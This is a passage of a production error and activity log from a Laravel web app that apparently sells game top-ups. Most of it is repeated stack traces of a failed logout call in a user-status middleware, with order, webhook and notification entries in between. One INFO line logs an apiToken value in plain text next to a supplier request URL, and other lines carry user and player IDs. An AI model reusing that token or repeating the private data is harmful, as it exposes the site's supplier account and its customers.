#28 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\TrustProxies->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#29 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/InvokeDeferredCallbacks.php(22): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#30 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\InvokeDeferredCallbacks->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#31 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/ValidatePathEncoding.php(26): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#32 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\ValidatePathEncoding->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#33 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(137): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#34 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(175): Illuminate\\Pipeline\\Pipeline->then(Object(Closure))
#35 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(144): Illuminate\\Foundation\\Http\\Kernel->sendRequestThroughRouter(Object(Illuminate\\Http\\Request))
#36 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Application.php(1220): Illuminate\\Foundation\\Http\\Kernel->handle(Object(Illuminate\\Http\\Request))
#37 /home/talaah/public_html/public/index.php(17): Illuminate\\Foundation\\Application->handleRequest(Object(Illuminate\\Http\\Request))
#38 {main}
"} 
[2026-03-24 22:14:26] production.ERROR: Method Illuminate\Auth\RequestGuard::logout does not exist. {"userId":1759,"exception":"[object] (BadMethodCallException(code: 0): Method Illuminate\\Auth\\RequestGuard::logout does not exist. at /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Macroable/Traits/Macroable.php:115)
[stacktrace]
#0 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Auth/AuthManager.php(333): Illuminate\\Auth\\RequestGuard->__call('logout', Array)
#1 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Support/Facades/Facade.php(363): Illuminate\\Auth\\AuthManager->__call('logout', Array)
#2 /home/talaah/public_html/app/Http/Middleware/CheckUserStatus.php(45): Illuminate\\Support\\Facades\\Facade::__callStatic('logout', Array)
#3 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): App\\Http\\Middleware\\CheckUserStatus->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#4 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Middleware/SubstituteBindings.php(50): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#5 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Routing\\Middleware\\SubstituteBindings->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#6 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Auth/Middleware/Authenticate.php(63): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#7 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Auth\\Middleware\\Authenticate->handle(Object(Illuminate\\Http\\Request), Object(Closure), 'sanctum')
#8 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(137): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#9 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(821): Illuminate\\Pipeline\\Pipeline->then(Object(Closure))
#10 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(800): Illuminate\\Routing\\Router->runRouteWithinStack(Object(Illuminate\\Routing\\Route), Object(Illuminate\\Http\\Request))
#11 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(764): Illuminate\\Routing\\Router->runRoute(Object(Illuminate\\Http\\Request), Object(Illuminate\\Routing\\Route))
#12 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(753): Illuminate\\Routing\\Router->dispatchToRoute(Object(Illuminate\\Http\\Request))
#13 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(200): Illuminate\\Routing\\Router->dispatch(Object(Illuminate\\Http\\Request))
#14 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(180): Illuminate\\Foundation\\Http\\Kernel->{closure:Illuminate\\Foundation\\Http\\Kernel::dispatchToRouter():197}(Object(Illuminate\\Http\\Request))
#15 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TransformsRequest.php(21): Illuminate\\Pipeline\\Pipeline->{closure:Illuminate\\Pipeline\\Pipeline::prepareDestination():178}(Object(Illuminate\\Http\\Request))
#16 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/ConvertEmptyStringsToNull.php(31): Illuminate\\Foundation\\Http\\Middleware\\TransformsRequest->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#17 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\ConvertEmptyStringsToNull->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#18 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TransformsRequest.php(21): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#19 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TrimStrings.php(51): Illuminate\\Foundation\\Http\\Middleware\\TransformsRequest->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#20 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\TrimStrings->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#21 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/ValidatePostSize.php(27): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#22 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\ValidatePostSize->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#23 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/PreventRequestsDuringMaintenance.php(109): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#24 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\PreventRequestsDuringMaintenance->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#25 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/HandleCors.php(61): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#26 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\HandleCors->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#27 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/TrustProxies.php(58): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#28 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\TrustProxies->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#29 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/InvokeDeferredCallbacks.php(22): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#30 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\InvokeDeferredCallbacks->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#31 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/ValidatePathEncoding.php(26): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#32 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\ValidatePathEncoding->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#33 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(137): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#34 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(175): Illuminate\\Pipeline\\Pipeline->then(Object(Closure))
#35 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(144): Illuminate\\Foundation\\Http\\Kernel->sendRequestThroughRouter(Object(Illuminate\\Http\\Request))
#36 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Application.php(1220): Illuminate\\Foundation\\Http\\Kernel->handle(Object(Illuminate\\Http\\Request))
#37 /home/talaah/public_html/public/index.php(17): Illuminate\\Foundation\\Application->handleRequest(Object(Illuminate\\Http\\Request))
#38 {main}
"} 
[2026-03-24 22:14:27] production.ERROR: Method Illuminate\Auth\RequestGuard::logout does not exist. {"userId":1759,"exception":"[object] (BadMethodCallException(code: 0): Method Illuminate\\Auth\\RequestGuard::logout does not exist. at /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Macroable/Traits/Macroable.php:115)
[stacktrace]
#0 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Auth/AuthManager.php(333): Illuminate\\Auth\\RequestGuard->__call('logout', Array)
#1 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Support/Facades/Facade.php(363): Illuminate\\Auth\\AuthManager->__call('logout', Array)
#2 /home/talaah/public_html/app/Http/Middleware/CheckUserStatus.php(45): Illuminate\\Support\\Facades\\Facade::__callStatic('logout', Array)
#3 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): App\\Http\\Middleware\\CheckUserStatus->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#4 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Middleware/SubstituteBindings.php(50): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#5 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Routing\\Middleware\\SubstituteBindings->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#6 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Auth/Middleware/Authenticate.php(63): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#7 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Auth\\Middleware\\Authenticate->handle(Object(Illuminate\\Http\\Request), Object(Closure), 'sanctum')
#8 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(137): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#9 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(821): Illuminate\\Pipeline\\Pipeline->then(Object(Closure))
#10 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(800): Illuminate\\Routing\\Router->runRouteWithinStack(Object(Illuminate\\Routing\\Route), Object(Illuminate\\Http\\Request))
#11 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(764): Illuminate\\Routing\\Router->runRoute(Object(Illuminate\\Http\\Request), Object(Illuminate\\Routing\\Route))
#12 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(753): Illuminate\\Routing\\Router->dispatchToRoute(Object(Illuminate\\Http\\Request))
#13 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(200): Illuminate\\Routing\\Router->dispatch(Object(Illuminate\\Http\\Request))
#14 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(180): Illuminate\\Foundation\\Http\\Kernel->{closure:Illuminate\\Foundation\\Http\\Kernel::dispatchToRouter():197}(Object(Illuminate\\Http\\Request))
#15 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TransformsRequest.php(21): Illuminate\\Pipeline\\Pipeline->{closure:Illuminate\\Pipeline\\Pipeline::prepareDestination():178}(Object(Illuminate\\Http\\Request))
#16 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/ConvertEmptyStringsToNull.php(31): Illuminate\\Foundation\\Http\\Middleware\\TransformsRequest->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#17 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\ConvertEmptyStringsToNull->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#18 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TransformsRequest.php(21): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#19 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TrimStrings.php(51): Illuminate\\Foundation\\Http\\Middleware\\TransformsRequest->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#20 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\TrimStrings->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#21 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/ValidatePostSize.php(27): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#22 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\ValidatePostSize->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#23 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/PreventRequestsDuringMaintenance.php(109): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#24 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\PreventRequestsDuringMaintenance->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#25 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/HandleCors.php(61): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#26 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\HandleCors->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#27 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/TrustProxies.php(58): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#28 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\TrustProxies->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#29 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/InvokeDeferredCallbacks.php(22): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#30 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\InvokeDeferredCallbacks->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#31 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/ValidatePathEncoding.php(26): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#32 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\ValidatePathEncoding->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#33 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(137): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#34 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(175): Illuminate\\Pipeline\\Pipeline->then(Object(Closure))
#35 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(144): Illuminate\\Foundation\\Http\\Kernel->sendRequestThroughRouter(Object(Illuminate\\Http\\Request))
#36 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Application.php(1220): Illuminate\\Foundation\\Http\\Kernel->handle(Object(Illuminate\\Http\\Request))
#37 /home/talaah/public_html/public/index.php(17): Illuminate\\Foundation\\Application->handleRequest(Object(Illuminate\\Http\\Request))
#38 {main}
"} 
[2026-03-24 22:14:41] production.INFO: Creating credit request {"payload":{"method_id":"13","amount":"2500.0","mainamount":"2500","operation_number":"158798495","currency_id":"2","file":{"Illuminate\\Http\\UploadedFile":"/tmp/php2kgsbkpqtgm411TOfdU"}},"user_id":529} 
[2026-03-24 22:14:43] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 1  
[2026-03-24 22:14:43] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 5  
[2026-03-24 22:14:43] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 6  
[2026-03-24 22:14:43] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 7  
[2026-03-24 22:14:43] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 8  
[2026-03-24 22:14:43] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 9  
[2026-03-24 22:14:43] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 10  
[2026-03-24 22:14:43] production.INFO: UnifiedNotificationService: Sent to 7 admins with permission 'view balance requests'  
[2026-03-24 22:14:43] production.INFO: NotifyAdminsOfPendingRequest: Notifications sent via unified service {"request_id":18722,"user_id":529,"amount":2500.0,"admins_notified":7} 
[2026-03-24 22:14:58] production.INFO: Constructing job for order: 179456  
[2026-03-24 22:15:01] production.INFO: Executing GetProducts task...  
[2026-03-24 22:15:01] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 22:15:01] production.INFO: Executing GetProducts task...  
[2026-03-24 22:15:03] production.INFO: async() رجع: true  
[2026-03-24 22:15:03] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 22:15:03] production.WARNING: Product with ID 395 not found  
[2026-03-24 22:15:04] production.WARNING: Product with ID 213 not found  
[2026-03-24 22:15:04] production.WARNING: Product with ID 212 not found  
[2026-03-24 22:15:04] production.WARNING: Product with ID 211 not found  
[2026-03-24 22:15:04] production.WARNING: Product with ID 210 not found  
[2026-03-24 22:15:04] production.WARNING: Product with ID 209 not found  
[2026-03-24 22:15:04] production.WARNING: Product with ID 214 not found  
[2026-03-24 22:15:04] production.WARNING: Product with ID 215 not found  
[2026-03-24 22:15:04] production.WARNING: Product with ID 216 not found  
[2026-03-24 22:15:04] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 22:15:04] production.INFO: Handling job for order: 179456  
[2026-03-24 22:15:04] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 22:15:04] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 22:15:04] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/55/params?qty=1&uuid=d0d6b7be-ca3d-4755-84b9-0ded86e77e38&Player_ID=5490722084  
[2026-03-24 22:15:04] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/55/params?qty=1&uuid=d0d6b7be-ca3d-4755-84b9-0ded86e77e38&Player_ID=5490722084","has_body":false} 
[2026-03-24 22:15:05] production.INFO: Operation sent successfully {"operation_id":164329,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-0BX-1774379705","amount":8.925000000000000710542735760100185871124267578125,"status":"processing","product":"600+60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 22:15:05"}},"processed_data":{"order_number":"ORD-0BX-1774379705","amount":8.925000000000000710542735760100185871124267578125,"status":"processing","product":"600+60UC","game":"PUBG"}} 
[2026-03-24 22:15:18] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-0BX-1774379705","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 22:15:18] production.INFO: Processed webhook data (normalized) {"id":"ORD-0BX-1774379705","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 22:15:18] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 22:15:18] production.INFO: SendAcceptReject: Notification queued {"user_id":1101,"notification_type":"order_approved","reference_id":179456} 
[2026-03-24 22:15:18] production.INFO: Order updated successfully. Order ID: 179456, Status: completed  
[2026-03-24 22:15:18] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-0BX-1774379705","status":"completed","codes_count":0} 
[2026-03-24 22:15:20] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1101  
[2026-03-24 22:15:30] production.INFO: Constructing job for order: 179457  
[2026-03-24 22:15:32] production.ERROR: Method Illuminate\Auth\RequestGuard::logout does not exist. {"userId":1759,"exception":"[object] (BadMethodCallException(code: 0): Method Illuminate\\Auth\\RequestGuard::logout does not exist. at /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Macroable/Traits/Macroable.php:115)
[stacktrace]
#0 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Auth/AuthManager.php(333): Illuminate\\Auth\\RequestGuard->__call('logout', Array)
#1 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Support/Facades/Facade.php(363): Illuminate\\Auth\\AuthManager->__call('logout', Array)
#2 /home/talaah/public_html/app/Http/Middleware/CheckUserStatus.php(45): Illuminate\\Support\\Facades\\Facade::__callStatic('logout', Array)
#3 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): App\\Http\\Middleware\\CheckUserStatus->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#4 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Middleware/SubstituteBindings.php(50): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#5 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Routing\\Middleware\\SubstituteBindings->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#6 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Auth/Middleware/Authenticate.php(63): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#7 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Auth\\Middleware\\Authenticate->handle(Object(Illuminate\\Http\\Request), Object(Closure), 'sanctum')
#8 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(137): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#9 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(821): Illuminate\\Pipeline\\Pipeline->then(Object(Closure))
#10 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(800): Illuminate\\Routing\\Router->runRouteWithinStack(Object(Illuminate\\Routing\\Route), Object(Illuminate\\Http\\Request))
#11 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(764): Illuminate\\Routing\\Router->runRoute(Object(Illuminate\\Http\\Request), Object(Illuminate\\Routing\\Route))
#12 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(753): Illuminate\\Routing\\Router->dispatchToRoute(Object(Illuminate\\Http\\Request))
#13 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(200): Illuminate\\Routing\\Router->dispatch(Object(Illuminate\\Http\\Request))
#14 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(180): Illuminate\\Foundation\\Http\\Kernel->{closure:Illuminate\\Foundation\\Http\\Kernel::dispatchToRouter():197}(Object(Illuminate\\Http\\Request))
#15 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TransformsRequest.php(21): Illuminate\\Pipeline\\Pipeline->{closure:Illuminate\\Pipeline\\Pipeline::prepareDestination():178}(Object(Illuminate\\Http\\Request))
#16 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/ConvertEmptyStringsToNull.php(31): Illuminate\\Foundation\\Http\\Middleware\\TransformsRequest->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#17 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\ConvertEmptyStringsToNull->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#18 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TransformsRequest.php(21): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#19 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TrimStrings.php(51): Illuminate\\Foundation\\Http\\Middleware\\TransformsRequest->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#20 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\TrimStrings->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#21 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/ValidatePostSize.php(27): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#22 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\ValidatePostSize->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#23 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/PreventRequestsDuringMaintenance.php(109): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#24 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\PreventRequestsDuringMaintenance->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#25 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/HandleCors.php(61): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#26 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\HandleCors->handle(Object(Illuminate\\Http\\Request), Object(Closure))
